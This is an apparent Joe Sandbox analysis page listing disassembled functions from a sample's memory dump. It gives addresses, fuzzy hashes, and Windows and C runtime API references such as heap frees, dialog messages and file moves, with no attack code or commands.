Instruction ID: 06f47b5a5d1aa8bc2eef0a3af500177064983dd3e7be3ef6b30824c69b6f53c4
Opcode Fuzzy Hash: de2898868135c5b025b1ed3270d27161b3cb610d009b2a8a68fd0152be51fe94
Instruction Fuzzy Hash: CE12E1B1604B468BC72CCF29C8906BDB3E1FF64308F54892EE59BC7A81D774A895CB45

Function 001DBA1A Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26543b3c5fe35688bc4e64ae2f052725c323548585ec1d3ed299a815cd391d9b
Instruction ID: 97b3c560ec6e62266b919b99d6c431a3cc5ea0d771122d711bfbf17bc3d8fa84
Opcode Fuzzy Hash: 26543b3c5fe35688bc4e64ae2f052725c323548585ec1d3ed299a815cd391d9b
Instruction Fuzzy Hash: FFF17671A08345DFC718CF29C8C466ABBE2FF98714F164A2EF49687355DB30EA058B42

Function 001EF693 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: fdb3c8b60b6f1a540004b1f542dbf463efb393b8b6f1cf4e5dcbf02a7585488a
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 07C17F362059D30ADB2D463B857413EBEA15EA27B131A077EE8B7CB1D5FF20C526D620

Function 001EFAC8 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: d6fbde40332be3a9c6b7734ba78c2359b0d59a191a052e44148f7e67c8caf8fd
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 34C17D362099D30ADB2D467B853403EBEA15AA27B131A077DDCB7CB1D5FF20D526D620

Function 001EF25E Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: 05b8f5bc18ebedfc3bd434d7d3134c70865b5085b14c8dfea281327d5341b533
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: B0C16E362059D30ADF2D867B857413EBAA15AA27B131A077DDCB7CB1D4FF20C526D620

Function 001EEE46 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 7733051ff7d870575c6cef6e3eae33dc9ee3c8fdfd4b693ba815eae618b7f34b
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: C8C17F362059D34ADF2D863BC53813EBEA15AA27B131A077DE8B7CB1C5FF20D5259620

Function 001DD5E4 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8381380fbe2f33a34d314dfccc2213cc85b6f13c865ad53a8e976d0050cd877
Instruction ID: 03da8872936e0d205b9fc392856e17cba4a9320189bebdda86e24321fd2fe09a
Opcode Fuzzy Hash: f8381380fbe2f33a34d314dfccc2213cc85b6f13c865ad53a8e976d0050cd877
Instruction Fuzzy Hash: C0E15A755083808FC348CF29E8948AABBF0EFDA300F49495EF9C597352C674E955DB62

Function 001E2DB5 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 258a2619ca224506e2ce8481b4959e2ad5c6699b1b0424d45743f46b69a4843c
Instruction ID: 961eb14abffc0846b3555a2523d8f61d8280e2e300c3fe11a4065c733c367b85
Opcode Fuzzy Hash: 258a2619ca224506e2ce8481b4959e2ad5c6699b1b0424d45743f46b69a4843c
Instruction Fuzzy Hash: 5C918AB0200B858BDB24EF29C8A9BBE77D9AF60300F14092DF597C7282DBB4D644C752

Function 001F2B78 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2de5f7ec7779138b42062d38d85d36926560e81f511724707ad52e0bd52d77db
Instruction ID: d66917fd52e797149dc5548f22c4d15fd369f78cd7427f4773912a74671ac4cd
Opcode Fuzzy Hash: 2de5f7ec7779138b42062d38d85d36926560e81f511724707ad52e0bd52d77db
Instruction Fuzzy Hash: 8D618B71640B0C66DF384E688866BFE6394EB61740F640919EF83DF291D735DE828356

Function 001E30E6 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ea23a0b5be8d720a81cc3f877502472f5d544f68c9a06fa8112536a0a6d4999
Instruction ID: 05f672a9083fe3ee3c4e6c9f323fff95e97674f3013ece69f18aef0d28d68567
Opcode Fuzzy Hash: 9ea23a0b5be8d720a81cc3f877502472f5d544f68c9a06fa8112536a0a6d4999
Instruction Fuzzy Hash: 7F714B70304BC25BDB24DF2AC8D8BBD77D1ABA1304F04092DE9D68B282DB74DA85C756

Function 001DD1D2 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5cbf3622e1845139154d73eadd0c8834f55a1161546124e9f903b12179078e4
Instruction ID: 858381cb789a71ae86b03bdec3dfbfd9d6b163195a20e7d70514075aec7f4347
Opcode Fuzzy Hash: a5cbf3622e1845139154d73eadd0c8834f55a1161546124e9f903b12179078e4
Instruction Fuzzy Hash: 3881C19221A2E4ADC75A4F3D38E82E93FA05773740F1D84BBC5C5866B3C53686A8D721

Function 001DEC97 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc1020ca74765a7023a35560a3351b9c2c2e6b3aa79488fdd533f003c8fad64f
Instruction ID: 066c1d1a5e7ee3f5b054c3b2b26acf69587033796e4065f2f23549d8a50b22c8
Opcode Fuzzy Hash: dc1020ca74765a7023a35560a3351b9c2c2e6b3aa79488fdd533f003c8fad64f
Instruction Fuzzy Hash: 9E512571A087028FC748CF19D49059AF7E1FF88314F058A2EE899A7741DB34EA59CB96

Function 001E2B3A Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03d8200d211fb2155360bb18f1da6528e951efe338ec765a37701bdcb59cc893
Instruction ID: 68d5fd0c30fd9ecbb72b1dde10c485eefa591a7ffe6cb1f81e1ea9650f30674d
Opcode Fuzzy Hash: 03d8200d211fb2155360bb18f1da6528e951efe338ec765a37701bdcb59cc893
Instruction Fuzzy Hash: E631E3B1604B498FCB14DF29C8612AEBBE4FB95700F14452EE4DAD7341C774E909CB92

Function 001D5E96 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82dabd87401d4f4ffd0755355302631d378d6eb5be3c2b3a74ef4b681629484e
Instruction ID: 9905c7b2d1a31d6c1815d49a87cc6f056dda9d541e2b0a94c58e4fd980c1dc70
Opcode Fuzzy Hash: 82dabd87401d4f4ffd0755355302631d378d6eb5be3c2b3a74ef4b681629484e
Instruction Fuzzy Hash: B121AD72A202655BCB08DF2DFCA8436B7519796301786822BE9468B3D1C735E925C7A0

Function 001F958D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 001F95D1

Part of subcall function 001F916C: _free.LIBCMT ref: 001F9189
Part of subcall function 001F916C: _free.LIBCMT ref: 001F919B
Part of subcall function 001F916C: _free.LIBCMT ref: 001F91AD
Part of subcall function 001F916C: _free.LIBCMT ref: 001F91BF
Part of subcall function 001F916C: _free.LIBCMT ref: 001F91D1
Part of subcall function 001F916C: _free.LIBCMT ref: 001F91E3
Part of subcall function 001F916C: _free.LIBCMT ref: 001F91F5
Part of subcall function 001F916C: _free.LIBCMT ref: 001F9207
Part of subcall function 001F916C: _free.LIBCMT ref: 001F9219
Part of subcall function 001F916C: _free.LIBCMT ref: 001F922B
Part of subcall function 001F916C: _free.LIBCMT ref: 001F923D
Part of subcall function 001F916C: _free.LIBCMT ref: 001F924F
Part of subcall function 001F916C: _free.LIBCMT ref: 001F9261

_free.LIBCMT ref: 001F95C6

Part of subcall function 001F59C2: RtlFreeHeap.NTDLL(00000000,00000000,?,001F9301,?,00000000,?,00000000,?,001F9328,?,00000007,?,?,001F9725,?), ref: 001F59D8
Part of subcall function 001F59C2: GetLastError.KERNEL32(?,?,001F9301,?,00000000,?,00000000,?,001F9328,?,00000007,?,?,001F9725,?,?), ref: 001F59EA

_free.LIBCMT ref: 001F95E8
_free.LIBCMT ref: 001F95FD
_free.LIBCMT ref: 001F9608
_free.LIBCMT ref: 001F962A
_free.LIBCMT ref: 001F963D
_free.LIBCMT ref: 001F964B
_free.LIBCMT ref: 001F9656
_free.LIBCMT ref: 001F968E
_free.LIBCMT ref: 001F9695
_free.LIBCMT ref: 001F96B2
_free.LIBCMT ref: 001F96CA

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 5c5e6b31f3f1e8053c429f137aafb71b25d14f1802a62417341efc07e33eb272
Instruction ID: 32d2ed6a840d2bd1aaa5f950cdc74b7359edbee7999c27af195bd3a2d9b5cf54
Opcode Fuzzy Hash: 5c5e6b31f3f1e8053c429f137aafb71b25d14f1802a62417341efc07e33eb272
Instruction Fuzzy Hash: C7314C71604B0ADFEF25BA39D849B7A73E9BF10324F14842AE689D7261DF71AC508B10

Function 001EB8BC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 001EB8DD
GetClassNameW.USER32(00000000,?,00000800), ref: 001EB90C

Part of subcall function 001E0B12: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,001DAC49,?,?,?,001DABF8,?,-00000002,?,00000000,?), ref: 001E0B28

GetWindowLongW.USER32(00000000,000000F0), ref: 001EB92A
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 001EB941
GetObjectW.GDI32(00000000,00000018,?), ref: 001EB954

Part of subcall function 001E8B22: GetDC.USER32(00000000), ref: 001E8B2E
Part of subcall function 001E8B22: GetDeviceCaps.GDI32(00000000,0000005A), ref: 001E8B3D
Part of subcall function 001E8B22: ReleaseDC.USER32(00000000,00000000), ref: 001E8B4B

Part of subcall function 001E8ADF: GetDC.USER32(00000000), ref: 001E8AEB
Part of subcall function 001E8ADF: GetDeviceCaps.GDI32(00000000,00000058), ref: 001E8AFA
Part of subcall function 001E8ADF: ReleaseDC.USER32(00000000,00000000), ref: 001E8B08

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 001EB97B
DeleteObject.GDI32(00000000), ref: 001EB982
GetWindow.USER32(00000000,00000002), ref: 001EB98B

Strings

STATIC, xrefs: 001EB912

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 1444658586-1882779555
Opcode ID: 1da89ed0cae162216f85649eff5d753a98ad09d53edf480cbf6008e280430297
Instruction ID: 1139d458ad5753bc14706b97f1502a0f47fe3054ea60293ae6314d2eb92cd42f
Opcode Fuzzy Hash: 1da89ed0cae162216f85649eff5d753a98ad09d53edf480cbf6008e280430297
Instruction Fuzzy Hash: 7D2105B2644B547BEB216B66EC8AFEF766CEF24714F404021FA05A60D3CB744D4186B6

Function 001F622B Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 001F623F

Part of subcall function 001F59C2: RtlFreeHeap.NTDLL(00000000,00000000,?,001F9301,?,00000000,?,00000000,?,001F9328,?,00000007,?,?,001F9725,?), ref: 001F59D8
Part of subcall function 001F59C2: GetLastError.KERNEL32(?,?,001F9301,?,00000000,?,00000000,?,001F9328,?,00000007,?,?,001F9725,?,?), ref: 001F59EA

_free.LIBCMT ref: 001F624B
_free.LIBCMT ref: 001F6256
_free.LIBCMT ref: 001F6261
_free.LIBCMT ref: 001F626C
_free.LIBCMT ref: 001F6277
_free.LIBCMT ref: 001F6282
_free.LIBCMT ref: 001F628D
_free.LIBCMT ref: 001F6298
_free.LIBCMT ref: 001F62A6

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b3b05193be0c9dfe24ab9ca498697a1a205f695987ae374d6a12da3b621340f8
Instruction ID: dfed14394325c56c5f0db5574e9871e4fe52167ce3b60dc8680bab1a75ddd40e
Opcode Fuzzy Hash: b3b05193be0c9dfe24ab9ca498697a1a205f695987ae374d6a12da3b621340f8
Instruction Fuzzy Hash: 4F11A775210A0DEFCF05EF54C846CE93B66FF14364B5144A1BB884F222DB71DA509B40

Function 001D20E6 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480COMMON

Download Yara Rule

Strings

x%u, xrefs: 001D25FE
xc%u, xrefs: 001D265B
;%u, xrefs: 001D241B

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: d1a572cee567b4da0c905be625827c433a33c5bb23aff672b387487fbf5e9822
Instruction ID: f3d9ab0d70b6c2b9597036042c073a7d2bcbe907c26481f3b3eaf5cae741abbd
Opcode Fuzzy Hash: d1a572cee567b4da0c905be625827c433a33c5bb23aff672b387487fbf5e9822
Instruction Fuzzy Hash: BEF15C716043815BDB25EB648895BFE77D9AFB4300F08096BFC959B383CB749845CBA2

Function 001E995F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 99windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001D12E7: GetDlgItem.USER32(00000000,00003021), ref: 001D132B
Part of subcall function 001D12E7: SetWindowTextW.USER32(00000000,002002E4), ref: 001D1341

EndDialog.USER32(?,00000001), ref: 001E99AF
SendMessageW.USER32(?,00000080,00000001,?), ref: 001E99DC
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 001E99F1
SetWindowTextW.USER32(?,?), ref: 001E9A02
GetDlgItem.USER32(?,00000065), ref: 001E9A0B
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 001E9A1F
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 001E9A31

Strings

LICENSEDLG, xrefs: 001E9973

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: b35bd8eabb71b5b5254484e571261f1797e1c2f483d6b68b9235317b570d1d13
Instruction ID: 2cc36b7691c4e375e33daa72b46b7d4bc99d545fdb7e290f378cde219f5eeec5
Opcode Fuzzy Hash: b35bd8eabb71b5b5254484e571261f1797e1c2f483d6b68b9235317b570d1d13
Instruction Fuzzy Hash: 2521E5322407047BE6115B76FD8DE7F3B6DEB96B88F014018F601A71A2CB669C41D672

Function 001D922D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D9232
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 001D9255
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 001D9274

Part of subcall function 001E0B12: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,001DAC49,?,?,?,001DABF8,?,-00000002,?,00000000,?), ref: 001E0B28

_swprintf.LIBCMT ref: 001D9310

Part of subcall function 001D3F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001D3F6E

MoveFileW.KERNEL32(?,?), ref: 001D9385
MoveFileW.KERNEL32(?,?), ref: 001D93C1

Strings

rtmp%d, xrefs: 001D92F9

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

